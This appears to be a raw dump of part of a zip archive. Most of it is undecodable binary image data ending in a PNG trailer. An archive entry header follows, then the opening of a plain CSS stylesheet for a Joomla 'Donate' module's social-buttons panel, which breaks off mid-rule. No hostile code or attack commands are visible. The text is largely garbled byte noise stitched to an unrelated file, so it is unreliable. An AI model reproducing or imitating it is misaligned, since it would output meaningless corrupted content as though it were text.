a.v'Gv*VmD:=RWc~I=`: MEtL .q; ,0d[u%U1sv`51v˸ '!q@ 2Y m u~= +7 qZ_֚qa3f|N̞ ׏t1Mٲt84hwm \Č"]kѴ`'ƴMt&k\Wv70.Nn5x7aZ X"7"ۑK(6ߥPcF ڽ3/ .]՘In=w,guŤώ^u <ɕA㶍>'tu`ÜVu"MᇂCSe 2J[*Ok7HfYe5TWb@,NzhVI ,O]3NkcG~_;.]6[8xCݯA;&C\O~P;OgU-B{fe~zR&Zkyd`ޥ=o5³S8hAJ51}_(IϟBf̠+@,TByJH z"]'EK9hԿ:~yfXZHn=Yng d.^;HFY|u-Zp.EҭŞ7-ԥ!9n5s`m\orFn;g |r%l G(T Ò1ev t{ HSc˾1KJF;#7Ffh^i[Ȋ?z;)t+bpNY'6xx"]uVvB퍍\7ΌcgQ# 6.- |$`yߙ/K*EBN |C =zwtQ 6؝>1g#.^gf4`oZR;wnIr Z托R;w@gTr)x>;]sNm,;dkh81b0vh'pTofJX}i:dgQvۥQWɨt_LcWwEBW]rԗ~ O,|]wfmkS~MTb*ψd_?!̎/ T+WjUL1<8&V%Y͖N(Z4e +ow-+03,O/huPf樓c sU9o1SŘQ\{+b`|&0Yc_#.?+J)3+U&d)c jRuBHK8ӊ2376D:ϜiU '(CXTfN;haxx wo`eG R0.2O5K,*I^hdY8[j#D-zcW+zlgi::5oweT#cɲW}#~&Yuk |@ȕMc`E.z R804e钰g%D<ºy(z2%[eSN6!g̙\X*5pZ-$rrޅ:ONޞѶ_fXgwZSMZߠw7O^`P\Vk[e=ar33 @`;]Y,H3/]f5~QcmڛN$-.Pxe wĜ,~w1H͑is01{v0!n9`뀀/?wl3OzyKן:6UAQXYekUw5g_DZ`ϦT>\/.XC?% NVv=yֆy +7*9 f5O*Ƃ̡ /k^.}ﺽVg& ÷RcuK[MC`riߴ/)a\ =|Vȸ)Ǭ3gZl `M^xF`'ML4An(m%=YK_a 2|>˽As?3Z f]sc{OA̳SWF u'RCπSXԸ˶Ey \ہ/se̲J]?3uesFݥM{]fV}Cj8/\ϞJ%.I xӺ<'vzR=z=APj,b"K޵;_ QKx-k:y28'[ǧC-YGusY~քuV?5krv}3&@k}[V, nMJƋ`J 7p^+U )10Ti dD\A=9W 䤓^Qhr)Qc)F2J4!#7~Q·3)kl؊" ~XS \[ʖW"xZT yDz21P;0~@l> M@&08LmK?%G^Op.edƌAf%۵giی>$-6ޙMY?f! a CؕdY/$=~~al1e*GdGE Nl:3]֗pX! iҳX.~zؗ~<E"Nx͘e=r{bNk:%1jgdyKCZs#%p\HI# ucsҖIt,K9&&cOlag)Ÿ蒸.(@ӽcU 9(+ {ygrҒrk9fKQ`E|1"3ǦJ$. #V(,Pv\ xNb,˟OW@MOi{5fE!cþ?|ٻd-w1- 8;qh}lN 5HH@xz?âM"Yָa"rcbAI¾2j:Zga,⮥Ee1- ֬$F-h&Ӹ0Fŝ6X${d0U`kb'lC=X00其u>_l=]ςuY{N[2 έwG.GKOU]{0V i^d2?Xh*!tڄݑ q֗ex fcS1.4Xk&v8`Q_VZ_ƅC"80*@s GR4͑P#8+#3fL)N֗LdvZ"MTb!MJbg@ $]x(䢚}]3vAuo{'g13ez2/J]C*[uUb@}uڶ3G>E-/MA)ݵj&¦#YY) ##=kT zK]-E->8\HlyXFVd';* ;q&aԓyai>J,q;S(#aŘiQi$;D&E,r~xxt\LRugFe &xU뀫7i{16z43+Ym2•u> O1Z-{%.=X3ͣ<*<Rd@I4缲o.#S3hEm[5z[ȽMm&<}m5t<4s'fFY!pڣn1ȤDKyq\TDظmdj+AdG<,ÅÔ];cSk;S"]\tt)Yz[]]F(<މw2#Sr6n?zZI lwx :N ;nFL fmR"8ԖC$>7Pe˴=;{X43Q{3Ę2e|^}0`֕ b3 [g,i8wȐSӴ&k3 Kol̕ڿ+($hzaȒi@2zlAz[bQ)GHmpUJJsشu>k2OO40i'}>8+كDJOΌҺ ט2 znl3y"3ୋ?ȥꙜib|o@C7lhBdmZ1rǯp ̴z4$7>9^o5+&5=֢Vqa]d}{8Xˁ663d\P3 0} ^F< DOT s8F~ e!PYc6f€4y:cY%Pqz ?*_KM-fv-YbTRL-(ʲ)HP%Xva/1&3'.bLڞq o: y>ԝd`6w5$x'}#z,w"m3b) lK#dLcLRoQ\;.0C ^x1E>\>9h> )+iX^ l.莆E\Cn:}4 rd2x!H!`qb:|NȨsm!7SΜ 5hh}_J5mk" )31g,T{)(3n̂>0GHzg0dR}nXT%"'/TѬ/@%grEn+pgvR ;Z3Kz\Y̼֗R2g)+q:kS;E;̸lcŵfz3a0e@M2fWz{}Lܳ5T<>d%l?e@MvRcv-Y6gF'6z8L&2BÒE*dhnRfxw25PpV̀P/8FUo`gF\3 bm&K!Ӑ3[ptV {Nd|HF |6H4bkA|~`u&em~/vLݽմ.h0j T8 w0ꮺd5l)Fud3`ps#cJZ/GLqx~b;` 7.ioo&@, ?e9&K*ɷ\䍮hKޫ if f2u+q d̩Dl%95-dj ea#rXGF2vac ݬ?n* qG;yc;24r+{"=fԢ&e1gA=IV`U S G< Ir%`9f2 Xub%V=Dk"& 뛌\]s,/NclրhjtKJ< 0Uf4*' tc ʸγkfĘehlRb ;gC} hJaһd@̵&4˩d7*(i g',js'5`]ׂ։bsYe\w|ZGfͼJ7)H[l vL9 6a$b5R >5fO)(gaӾqd\B s)"H <^Xoٻ͌ڽRCx&WtONLrЖy$"ԑ1ARD$y(5wl5h$ζ28(=C)Tr'g?WfIöje +I1 !]ēH,\k-3vŷw` R۷_n5g;r?w&z+U701cRF$VĦBY)l=ԙŠHsTH9˻/%GXo*SH,:ABZ Z#bbvK8n^i_gX0klzt֘RO Y)E;0;4l#K/'0\c]gp(H+<p֖4;#0j4=],ByyiLAKo D:e:ĭ1Xc ^)ג{:nNZuKyƍ^(xzxc^?`DWjϽcԦddNba.q&>[0xjc~.}"{*Vo2hl $YM<=]P GQ̃hc2&UX&5G^cc+K (&Pb.L 3ǁD_ΣՉqEX䤖8Qf,lprl_NM-@5+Uz!U&T U65Y8Ħ|1uÍDXǤAIWhj@,t.擙JeG 1f>wsPmڭ~Z Hk0bjZ3ԋV^o! 01$tY^#(S!wl:[6,ss֥I|[da2?@}>\vekڸ1.bw <AVPƙ.]"[ϐד՚]33"4jΆֻh(5}RPɅaG}ũJPuR۽M D4-"ae3r!Fጸ1.YZֺڋ 1æCKnN&gi1ʃeI 3E`f<_A$y %MM }lɺݫu7v$[S6c釂2_d pVm2\'G%2Ky;[35}K,d(B<58 d>s: Aˬ%iD(7_:Ց\x;!z1[ǟQXl2ZKdV*[3gYʖZ*^\eB<aH]Ѽ@ӕˤ@քھw#[ ZGLuSgPy9׫FqЍޘ zę0; J-1Ԗ h>>M9`0PNV5i:eyB(Gmᾝ6,3e(p^q$2*SʠAd-ySl1mŤ0]|,'F' S 5aQòN|Wfb.>OH"-q> \ܭ/1x -,.jH/<?V`M?]Z܇к  tYGd frqEHx_+ڐB['0Q_f,ҿo 3!g `з\b'[*@9$lGn W5cv$5d3&nVsɊԔ+juWSц3eeql:@;`w$@/4^wNs]Y'7p7 ̜e#t=cc0I0iX0W2 |3? Tu˴vTe@nܾ&`rV}# xN!fõ;clW)v#龱Lס7 !{6h v7c'+z׭!Jeg}`R19a65aspASu]*BZĩfA9:deD,kHه ̱ijO_vge3Cm'`~"xΰg['X_7k_gɎuy[Y]@W`n'6)0g@Y~6FF! !fbqkԞw7:WчF-I3>R $:N14ʬuMR' K8Cr=ּ Zy(֍8ZrmAY vjZF5%͘;Y_'{wej4"b!"yOvVpب @>ѥ}cC#qd2Ȓ]#tK#å63ˢǬ-a:*㆝Z x}V nj HOlNx.RF[HV_vbYx4lkJN ?2 ,tXy&6LƋe~?k2u~U3#lSg;eXS8\r؁_f 7Z]&2jg)B ^VEAL>=U/CWbj={dK5<31IAWDvnEj]%0d1L&oڳL(hJ9e\8pa5/u&6p)]H T{(wT^1VVs?skiszsM0>FT&6ͶVbi.;٦Nw4 rq'ŗ`L~m`Yyvp6k n|3l @B<9@Z(#859XΔC8 E||fx{AwV6أR tfQ7 f-& cV?f6=r<eG[Alq̲ Ap-s=k nx}8oK ?NVQ瘽CqM[jt5@~7vp²<fg`AS; Pu нqSGA  `FK RJHܣDݍÀ:ܲDi(I'4c*J@~< gA(nt9<̂8vbc YG@%Vۦ#C,[xW 9f&R!lӏ0ϻdj-eҎuZ"qKCKfl9ly" ٷ(Fi%HUS$O3 O jMeD#ӖfGi 2|n:6n.la2;#5.TC5')r!*B]J(8G$CŽ1`Ět@YvgH5 bض^[!jotU ,<\jإHjs 婖  `5t:ٳ6ںq\1fGY&Q3  #v^pI`l3drv %˴@MFŲ@od @i=^ ƒ{%aW rLf+[2 ofj7֥_~YV<9qt+=jbЕݽ0˳u'3´1"k 6u3|Skg)^-hW\L@l>+4cGzLK\ȺwRBqgEzb;=EPȲBl*kEdrˌNG)y޷e$AԹ$Yx̚)7^>߾ً}}/z_Aؿoee̊XBk28,l߆u qe2!i~طcg9n[-OfVRſ?'0X+:/I2CpKY!P]*ꕔ ȝ`Dkٯ̠?팵 c7~{V8Pnw!`ib< p,H]E̊ E͐3'ijqhc͹-!wL^tP-c0 6!rbx/vˈ/[oуذ,MFcʒ1W*Ȃ3VlNS<눻*p]ے3}Tm/ס6i+ˈJ]"fCuB ]ƺ[d}:`=8q=4P:a],LЅ:#1rYVfiekyef*MѦ +;|Š!1.~N?2hKZh?/t۱fFVX֞M=Lmg},'Kk⟻`ҕe%7˫GΠgF NEKJ֥%?̿'="Q*O|r~320r^k*Ty'۵|/{}}~g5/&aZlp5s̤i'65c ^RF3TOcyC"[ֱ eu ^|1g6nvghHYv%|T@]FUdJ$&fҨ}7993:IqYJqԥ} t J=Rc/u,U HcF2Ysf>/ޕp q O,Aļ'+ei!뾊sbʢ]bcwSVk9443fD䮌63m/Pfw0;8ȘՕD2Ϥ+Tl?mEcô Caj(/43!1SU^Hf[kUtmL.;9oYL ?{sX"c̕ j2#*KC7>q%p\^׷Z5Iw'N[ILI0yibTZL;̽14 'Qx6ؗ`g(9Jkt 12C+0,u8X:3xpUh!ⷐ -6EnUh˜]Nf"´c{š<Zd1֘_ۿZ~i`2?Kս1cvYd9`fŒjc0$2D1XDX:?Nm >}Ƙ5VHg5gW!W=;a? dNfw/;) "qugpƎNls>0S)('ϋl0L@5 23Xhf*<QyiLܽ(x&!:3G̶10j~/iˎdRfDG6zn\R eL\qlJZc:j*+cZ#IF@l -DoF%RIY 6k\Hv )`Bd̾%4)"{m]ϩuX3eCO޳݀edErv_#Zj&<w1ئ%gөAF(VLCT[TcV8lk\6y2d-ϕ8˜K ^~I`SeB.2q7F-1m`~U;I2fmiٮlSw,3&NU0gɼ,S8wYz!ML* )&nZ#- S;fNiLK5vl2i;x>dPr /B;c!v;VwX}\=2&98UF_rô\KOE8RſF/Xb4.!kO;qL@TmQTQmj/H2"Dͼ`5EO :N Yƀ<Y m$Z=Nlʑ;ԲEmdbȱ_#ܚ2,`:ZX4ae|D){-mP y0n$6%1G@MmE.%dSlԙ `fA|宋X#s_0x}ŝK:#Q%_%,Wecuhʅ^+q˂f[cߛG16۬ҲHؽM` /1[Vhdf&8Nl1GfZcV &ɤ 2`Y^p)H5e>uI]J*J 2;1( 5d(N<(svΏD"B&c<15f +3Ԝ3;.fΌ<v}֖ S)0n,A[lw#[9 $R2䙕}XDh.Bz4#pD:̳ @Zecs 1AcG= H3@F˕*?phƹb e1\#f ?Ш:1zvM$0dء~^S(+6OY0ΰZ 2bPY_֓ݗśy~!vJ: TFaqF} z:KNv;?zV㑡:h%8:f5?ja#`"DpLީ}'1)BM¬'gT,}v\35X[KJ7|B e$ՋXp_:O|VYc\D,cvު, fp פŶĵ&"l|jtYLƍ o@`h!_Y+ ($K7q.{݂m.ՕqqbeUelc}$;Ֆ pPtߟWRWVZe0ܭ F`L~bOje NSf;&<,/֍l1nW<}gaV S>s> k,k-g ׊*]lc <zn9뼪21sK я~r^/T |U|v~)#sr> ^kWpby3WҀ>ڋs.z(c_!Î*kИIsнd1x>|yXڼ]5K1,BH2h LgH0=Yxl"WWQXLs,ݓ$Ѷ_!ϒv N~2ԆuݱHܩ"a 4P]ĬPVVA&X<v[+1s2No Ge cfWbԘ{Y7Vl+JS.[DP '̓,MMvԅ-Mÿ/8jGHnL2˥`_iRF[e^"HQ3c} )3zb$v.6Ը62 d}mG`͖GSY 樓Ŀ3{tюK/u8כ)cE~PaĸN*+8uu+IGGƵ`eD66d,,[RGRxstؔdN59Cq3|EWE~PJOjg-c6TՖ=6<ՐW}Y0Ĕ9TR~+cav%XjwoijH˱s%R噿3"~D/>! a$3 =I[촯j#t/u r'igMTF>fY^i2z!1\c*hC$ϬJWcEzY9)"qe՞gr \8 vvϻ^~?aW`k{hY]YM =lg0b®~7 1[qk:?  K&ְ20% 8fYMd2D (e 2fA9iٮbq3*MEFŽ2ҥ7vYS㵱Yʦeuc _B2Ģlר52=fgKGr#U)m}aNeCQ3r[%䩄@Zj&9R-dZm+bV33܄I3avT>γ7JY&{tLPNDR6ޥyN|tJ=in+nqxtoS * 4 ;yzk#[Z[}Jdl]tL0~gMsnS̫ (mt$8҈i͸si*? e,+JM̀m5BjтtQ@$ifdwV '̞κ_^GSeN^Ed&ee1F48I'ҞI|}ZN3e|ÜƎ+c#k<^CҘe%iymh݄63W{,NRK17/Tžc?KœO I yP3+ GƢ>?xva6>߰R7"?Qz1HnMȥRJBXBZD':MX(cΤK#2 HMU<=ا0A8Z[_ 3Yi} r -l0(D:pc҉Ea. iIM4 ^̽ݷ5׆ V|gvЊ#݂ߍdnbt(Ɔ6TcrDYf]?Wȿ6H~fl3at -A[d`GkKI򤽡-˪djIٳ|% Ό}[-[z濃Qb QAA&C5*">x!h#$AƠ!c|PhG DQ>1ê9fUr ץVYUc|cD1Y2XVUXSl)XYPnfV > Ƿ{p[GƦ٪kCV(l:/BB0n4y5o/_#m6 LsvQ0>7>0[0f<4,x9f>2ߧf @6I[V"eB%/TG!bR mѠnj3Y۟XLJ0| j 1FWnpYO5n3.cP*Dx=:wgNw(s5elaV ٬ t3ٱGG!H|e&BԴL )S1Y%]s ` d-xL"Sq4Dv򵰭,X߃!glXRc,3d?mu@F)#^Q"et7cPsVwjlT /VHCpAH~ 9:i^rurMωzL%c&%ly X[A#* J%Sm1t)k$l.Cl1f@1;Ǭ~̓.Q$rtRHKC&6)˲Hb@eL%4HO,'mC5|Dn YIcx*l6+Ppѧ afH/U䲩yx[k ԸE s0hB]@lWr\w&BypyxSL/M.|wYve@g vyvr6 `ɸƐK%HE\c׾Cf6wԹ&Xں̴D0&R 3 l9R;f$u̝h0Pa!(F}k)lɡKXhsfBAmc6ˮZh7C#fĒ]D vpmԗmK!dQθ'#v Rv9h$tQz3edbaI9q-h)6φ3O$e|Uc@`Țu{Qlm_N8W!Xtվ ߘ?,6N`JR-Vg=fїZ4Z˶;))Zea}01(N%-zDՊX+AI\b|vaܹq(l*#^ۅN2bRF ux"xXf#mcܺI+¿d5F'~OO-?_fȚlr1XdŌ~$zJ<ֽ>..2R~ziO=4k|i8Ʉ5IL9^WH\Ԓ3+m1fnCIMLʗRR(]dY#lZAnM׳ h ݝ nQWv7S`v]\֚ɲK@weкdj1X:Ԙ!1JAYdH @j|hg\01 HxZ J!Ԗ ,asxG(x̞'k@%.AF(rliؤj%f u|ʺiogs-XZcLXv3k`x:#@9΄+jE\I)j&x9 >)i#NhX&/kgQNQLz͆ ' ͉,W>nC lJ_!ُ G~9>ZmcOό{ܙ6$O MK]*67 phWjMX”GzY3Q8&m|x10Os-K$3Q]ƌe`0U,XfQ#bz?U /žnߍZ:f+̒,̓i/Ւabk%XUĖ)SdUkv,XN"x @[:V]0ӳ'ˋwd3ocQ?G l_6 lKj2H~Yg{ dCuEbc\B{.!B.Զ j/RDz k뚖_,e< &\X*~8}%\}!nOdŶ9(sa;b_lƏivFmd)zMrgv^ p抲bQSw kPNw&vy&G6csz{]bP̝9pQ ei ^Sy$Yޔh(n IS` 5f&|80 m9fj4X.c3xhyV'Z*[ g;e+-._i-sFrG#槁Yϡߍbր3qZ42HƜ2˦ֺQ[GwF]~te\Y {sf;LYs'A?eo?-;=y_oR`Rd::|܊ae hmj~bh]K#3Q*/Tʘl#W0d@iviV`׺?{ |VNjvӯIݛ,eM}hMM]qaՅC^_299MCPn@Lj5M4S#p\ځr[v܆y=6*c&ndnpPqD\F?qGVϒGl6cYþ,J [@sn ~bmmGV0D 0Cf(n+ -}Xj]\yoC0, 5p17r̩@e0'nعQy:el1c7D|:qheKHDdcd6f*Ǧ,yOC寇 3۳O <2,mves3PٓC%$` 3;2&uf~Y՚M:}5Kk̔AC=,{憿D2%yUc ,Y - Ymf3a=ЕY׏Ɗ,W)I8B_מs-: T$X-!ya^2~a1c1=s5`2.˪4,G3SĢSmdwkNeZ* :rIWY(^+!a ,n)9e).76KvCdsqlxP[N~{tlƐeh1Su{msX01m\!aGo˕[^fGjƌks0([Zm-P Fl5_J%w_.UWƑZuELc]|u6lM.+|ImƼbl(f+uTHӰzU!$K¥oT|US6ApQB g3'P16%7K1P=#S'5kǑbb69~_{'j}غTjXT̝M=l.ԸnL`xYquMX<_%䪺.Ub֌Li߅IBeel=9165fB-=|(s^;[X'&Z9GWp|4γZWu&huHpr\ʏwk }Ʈq[ܫ)cvm`Q0b`neU\54O9f5ߓ4ff,#F7f˦?DfjW[x74$eL.کAKM5QjyNZy<ˢJkJtRo5i~۷X ij=K4'VP?cR19±A4uMqhTb;t7zY@%o(SaL = 92~_0ctf  `>wX ɑY$-kruRZ则hζlDt$$UŠK}0ci2߀鍘[8"~BU-:l Anf&a3-,ą6F,$tY50[綱Mu:@skE챙9t,=5<.gʢׂїg#sp@dq,,h4-* $R7)SȦ# MzYB3X"Ҏ4>òע:,چ.$O4)S6C¤?20KF 5:wsH;2ӧ[39A2!YGT5f#[[Y="3IJ$WrJ^϶{0= Id1y20^oX"MD"UTE@(D&C2;`J!0:D]Tu@1a6Q){pe_&jc6aWME"ЈpUȘxOHWy5s2PMYmnѧҬpnln`ZP*I뺬֮_TŴjgpa>Myq]fn.nA˕D *f5]=/LO8+'ڨ_5u*|QE8n1F]^60xkT/<)WF)Rq- Lcll71|9"s Xg@;R)͌lp$zdIJ|H8b 1e\V3:(_^Y"_+ ɭtqݑ2nZ{vGPKʸkH7Yفä #K㔔$W̖|ud10{RƃB? #=d~5p:>n Hy)ք=BK%e< @c';Mkd΀l ~'+*Rle+F;I2S=6S m&`ar[]n˲`^7Jg'flF4mA\h!Q(Qliw* 88 ^tjcczgA#Կ,ϵ1lH~Qb+\r$ Bʘ FLN)9C-?/ d ؝Ĺ&_lv)1ť9sret ZDbИZH0l]ocl'/^U6}lp'ac*c@{2ߓ4g֧! @sὀ^XN۽-z]~ lPĬ@Fݤ(@x6C~A%"73 BH,~Im]LVue@PÒ`ZJ3KV& 3ܱ~4VPT״G#++P'}YEC=ć10lyņ+8y0U΀sosoO*拶~tjʍv׹nء#rg+^QH4L@1NL%Gt[ȋ-"<"B|A_{VDGK|6 ԥ%td:SOfw|/P~]Y5e~!J\7dg{4L#)Z1>]Kݯ5 ($5hf'p=)^v_k%^<%c鲚M7ނy[AQۊ1Â=ʶM'SC9f2S}9\4cs$2) VEtVy+u.sR6l,yکnO묓¹|psY!IZֺw kfŁc=g:PU#ek\X <^5QÙ @8ʘah~w J+׻ʀ1guwv]Ȕ$SAm̷E#@,X_ԱXcʜS5A^Cf @/N*k%nId~+N ,oPYbAoU"KSA YxNP$K}QĻaDjnGv@ eM5fٿȎEPg!,*t:1;˜՝XiZ?ϋY[W H/c>K$,ޭ@g[K R_﵋!r6\6-lˌiKyHϊ,wXUY7"hRY~<\23/r:9(0bX,Ck_\se)šy0z_u\p :3B[^X3 fs_fzь2XB01 FPkߺ9UIJ#Șę LS}\7qbaa*4 N"| |oʹ&J&׋Ӎl lČ7:udb(D$ZѐDjP{Ô Qa.1Lkf 6b-fl9`1Flc^ V}JM.8I= i4S$yh|})P>8ך +LђWJ)vհZB_ا~˲YΗ1Z.ceu(b*bgVkF %.}YYw&U39}>T_=r^f pg&@{"3 Qi{\`U賀E1xXZvي=.hx!HPgU}5TDZ10ҫe\F'ڴQ$P#ss["dAL~dJV>VbB0S_/J|W03fu F ,O3M% >#a9!s83f)NpN@2{v7V5BNS,]me.v0<1['D(׮]kym"`\&BV6 ["8յ!L8euWWƬp՚1ڳj9([2G7>o0;zN1fqĘ E8-9jddYNl2;!g (G流_gۯa,+XkaT^IU?&$c(H}Y7ޚ0cRF!8X (GUvV#TɇFv-h1:eXcxKӁT]̽ T/k/cpȷYRNJF]2ad5 ZM`Fi\oC cꧮ'Xjk۸[>4#Pa:IOu̓ 1:F;͊T,;Y;?5rD;pw7u{q܍kaY5`2YY-bF*:LQ¤9膪jY8rEf/N.d2p +cicִ̄f`Τ`dkF:Pٽ Tϥ`5$ڠɥq[fUcmY5q3leXis<Z.?shT㏺ί1ٳ`m_fÒN3f τ+0'l 31{j`60 ˫oPyud@sxz[*>Gszȅp+ՇcF Ԝ1cG̥;UL$ec к?֋A3)Le\lޮD0?]x&y cZ+*4TA ͫ'}H'~x.V#0;#ëڮ&:*؝`ѳ\&-@ T?:[3W<}Ydc'Sube!?s'p\ZsD~4:G`f5 EO ét] rL-:*vHY/ȏx?CaC%v<9<~Gj `i~~ NdU}Jt];ՄrHM3Ix (g1m䄶CƴvTH]xX-Cǀ9D_{%W[-47¥/H3RP.kRHRN[cRV&)J DQ+ȶV#fʴJ~ QcfyngeTsV "֙${MY!r4T1P:5:K(!"c uf>-1{JP6` ;nў1{9f#[n5{XFh:2#)9 )!뿴DAP[׋uT{2f2Tz:J6ֺ묛Xȿ:Q)I\9%ȘٴtTs0E2űWf}7cVL{@a4_9nRS 9J !AT _bQ`꟰MH0Ѹ) BYKz Ճ[Ҵk]ձ1}:;-`(zv9ds䪶K6m'G 5G6чu"Agc@qeVF@{] \8 #]$S[wb2Mz;:<2NwUQ-=NҜ2!E,1$Aڨ5iG)Pe!j%U}ROІ$^rVS'[(~D#%d bY;N'! ,Ӭ[cXm1M_AY7=偟{> r`1{F` oaaz.%K^h5Sb'3%g$YQ~;i|dXS\C:g, ~uLD=pIƈ$ZG9k.v%R۬690fyL ΩU)kj*YuĻNy]Akˆ"!x2(R]K'^7A)JspjAm[x(N,hA[{Mb'9IQͲ=\mۄ.W!{:nVvkVf?6Ps4պa:z7 |1#npqBwX0Aei7p)_/_2l/c^ pWf8̮eb˸l%aL3p1}~ eT,dEXx.՚q5՞>}3[U:-:}>6zS\.iYGөRGf F7e{'٫{IG5pw[͉eJj>2kU䒷t3i({m%m_D'@zd\|"g r V*Ƭ(xB 2]I*NEe @V5kbEGJ`n?VjnwG)qYj1$&) f۾&lI_ jь{4}s]oY;I#bLNFʿ5O Nz  uV$Uiiu Llx7"y4 NgVUE yˆ( *[/t*GhvM hػSyޖL"q̛vDB[E~% c7P{cbȊHÅ!DX,;S'eJ8`)uC4O,ڏދ;q_x= c3 r+3 #;b=C.X6r_`O=Yf/rRcѾ/.HUA5KU*(I|rYUM F¦ilZ]ZTRRu 4^EMjI*O?Z.G,OZk$>%0@BХҸvkQ4Ps(C6Vͽ~۬غGçJ(Z_`ȼFH=X{샖JU'RIɗɸ >L"tZ4Nxhh LROP*&v4eKVR !U3oZH߉A[Z XLSd`"猁ɸF\CL/lٕ%<Zu7qFoo }~ &e̖uRI9̜-–S)2,h C0KcVkoaBiAß7 ]a?8Wc>Cg믿9f/@pYYwFr $=tx_W:wa|cɬـOo/mAʮ%j d8(fa*u[m"%mԫm fr}Etjς(b\ } ͬ{9elXMdT<*3^ !A XBRX>(;8睨rt$}>/_3}-HufBL,2)[c|/5f>!<Np{Ocd-׊o\+t `= H:iGi[eVn~1nvwʒѬ#FL(Ð cˆ>VWPY;VNZ54)W :d6*dFšUr̬KNzs厮omc [n\p@`zsmLcŠ+qyMw_Ő*՜@ =EbP})'4m8OY2Hw2++\梩I _p[e+P74Pz&[ IXb3s2=)#fl7&6,7R3JݚxηkV=N!ensG)HK &n`7ico -]])L2⚈mvݸ񌓴9sCjbGSaIOhr80"KV#3X_(s2TǹH!9P:ݐ1+lZ"3=B֗qJX7$ux ѵsRNW"\r̬$Qm1W +m u͇45inظ1yBzuڏ( QF5y3lNB(1y\m͝igH :&2 ?A[fTj<Eµ /$#m$Qܑ-RVWRkbx˪b*q)|YÿJU ?qB @+KE' ?kJs1Yen$P*p1[Mx9{Uc{ (d3O cqdۺq rc񥿟2|vX1(9sӸ'+,Ui&p5*Ìvɘ;?<}Lyh=6Q~! ӡ)~d^u82-#qcί-oK %AZxh0HH2SdNfSwt)jq*1n`2v K.+ ;6>̬_dS֫-ۤ),D>QӣiYrpvVe_ 3` v2K)0u}FݓM7py漲B՞EeEnj,dV̙HM (P=cmæT%5"جg ߷p{?P2`w* "1fUB%6ګV៾;)#c 4,2̔ nkdy+\c .z`5ac2f+,KsgKSȰɽ% 6I>© igG,ZM%&,Uh0PiɦM`<yqxKݳit5jթ(_yDtѦ!qN#,@} "JsRSO:Y7B{ԊB$!VmwӨmj:xv+9{x\0eR&-rV/g9( 5JPx`anB+;MIïmMz0Kj_C-_X32' HvcRK&eZp<=&fҚ+#Cx߀O=M8#lv_?O`v+HH8S73`! s'hGof B]\f0 C~K$+rP>&t̲l# q 03C2W O%g 3F |-gL+a̵ gyufn^Y1Lx~ Eq>͂|%Ŭk,Rfi;05vg,:X8znb´]V1u;mOm5_&Lz&>8%,|!eLcԫ]s2a;d88WD5֋p,eVbܥMqr to5(`)l{zGB6?ǿTajcv;ϱ<;wɭZ=qzf3{ >S?ȸ'p8Lq:'n=P7|^j7]P t_[e!qL[Sy;SzLhٴ1^:Xv3126E&tU74w[@ C e1D`ǵQLUOlGV,9徘;gZf}y`:}]3qхkBG䳘1SycSkf8< d92QivO bp]edjN-U'^s`abZ8sߠare&L7qaKHAiFФX*(N"y Q͓nfm:ib#"J-7enJc>2deG>x;!jˌl5[֘ai_ PlaȲ2aμ63^n0 ~+0[ s_B`gog9q,w`Y#&#{g@YuSI )c+O:jx_uZd. -,䋊]#qeDĘ1hY3ew|;=x25fr8RS3@, n+7`^ p+ςZrs%'.)r)@Ӏ$aT8}kRt-G74]Y,zOw-O@Kr*h"ɧK(dlk"UXB}d-]41\Y3^S:OL俆dN7P 噙4)F's~'kuc%2dN~0וug쟩5gU3<>ܯϰs(e|ӠSu zD }p{=b>z{%Ai!xAT2dY$&BP-ع̺<.O\P)ZLl,]:W?K" VY5SS_AΘX0f kRwɖ TBrs_mc;a)dD.0 }rblcVS7Èi2gvglo=Ad&z(m]ef ntZ2?߷׷@x;MKIe|yH\lP$8/[ 8mX&aGWs}' 9[mYDŒ3RF,pf%uf]I\:b?7`_ | X[fJ֘_qCPcBGYz3߳;;ðAՃXx&Vsgi8#_H)_ɮ2B񫟘r7:MxG3Ff:0s2y|Fvu5 Q"Gtnv\͐G"73_Q)hMQ!V<3`W~2gi4K[eyjS> p@]kRT9}de@}ө6Ul=ZK7= leF"EybAa938lb{"Ma')RMQY-O7Hl𤾋g}+L:e_6opYޗ~S#i7&sx=8DN8Wge1pڨ=GR|ƂB##8K quyxʜ1X#0}/%\)3+4D , L6\;fnGw%7z#MX&Hle/3E^;Kv uw9UWW/\"e{JYش~āOn8>zY29E8c;=”=5/0u | f'ٸR1Or͔߹FBLZ" ֱ'u/՝֪=#_5cfag̲z2]פ֬S~–61!.q*_J ]ܤ\0M0ΰ:8@lE/:/Fϰ||*"tʨӄ-#@켵%?Uq%M;&iWSJ2@ t2ͦؕ:>L־,L[lt >z^LVR vZ㡔hG{O ju$0#K%Gu?tS/} ;0k; jDw&k l@97ęu6ѣ<ҹ'ίy]GW&O&3~rV6't (+#e/{¬呋2|]l\˯Ӷd;]MJg 唳>ߺɫλ{5\uc~o#׊֝bjTG`{5H$}0]2,S=.qn@@4{;WGAx2W9q4qK);[a-ideTCo虵6XNL-?rҫ`Vt"Ҹ8Bq` G-g.,~hʲ?wFw j9v1/K'Ǫ?TϿľ]'f'7>)`< `y 1֣N2K8`mB-w m}fpw.4,:dQvP>vD ~;ف&ٹ@җ"|Dkqv "tnqtX:)rXɖ{/Z:|t$ 6"g3Z./V.' l.Ӵt]aڞP2Dޘ5n>v#ݹlg`kG"7u?> LJWWW/o@/ z4RFG,- `u| wǧ/ގ5c77>OcKSmqb̞A,;` 9c8v?;%Iwٹw#gaueTyaAc?Ⱥh+_C6At V_͸Ovvy;>8O`p[_} ?BX;z|n?8_uA_l st_1K2di7|Ƹϗ?(\IENDB`PK>\ ʙ socialbuttons/fields/style25.cssnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ input[type="checkbox"], input[type="radio"] { border: 0; } div.a_panel { clear: both; margin-bottom: 8px !important; border: 1px solid #87CEFA; } div.a_panel_top { margin-bottom: 0 !important; border-bottom: 0 !important; font-size: 1.091em; } div.a_panel_title { background-color: #E3F3FF; font-weight: bold; margin-top: 5px; } div.a_panel_slide { background-color: #FAFAFA; font-size: 1.091em; } div.a_panel_slide:hover { background-color: #E3F3FF; } div.a_panel_slide input.checkbox { margin: 0 8px 0 0; } div.a_panel_slide.a_panel_include, div.a_panel_slide.a_panel_exclude { margin-bottom: 0 !important; border-bottom: 0 !important; background-color: #437b1d; color: #FFFFFF; } div.a_panel_slide.a_panel_exclude { background-color: #ac1f1f; } ul.config-option-list ul { margin: 0; padding: 0; list-style: none; } .a_bloc { display: block; padding: 4px 8px 0 8px; } .a_bloc_notitle, 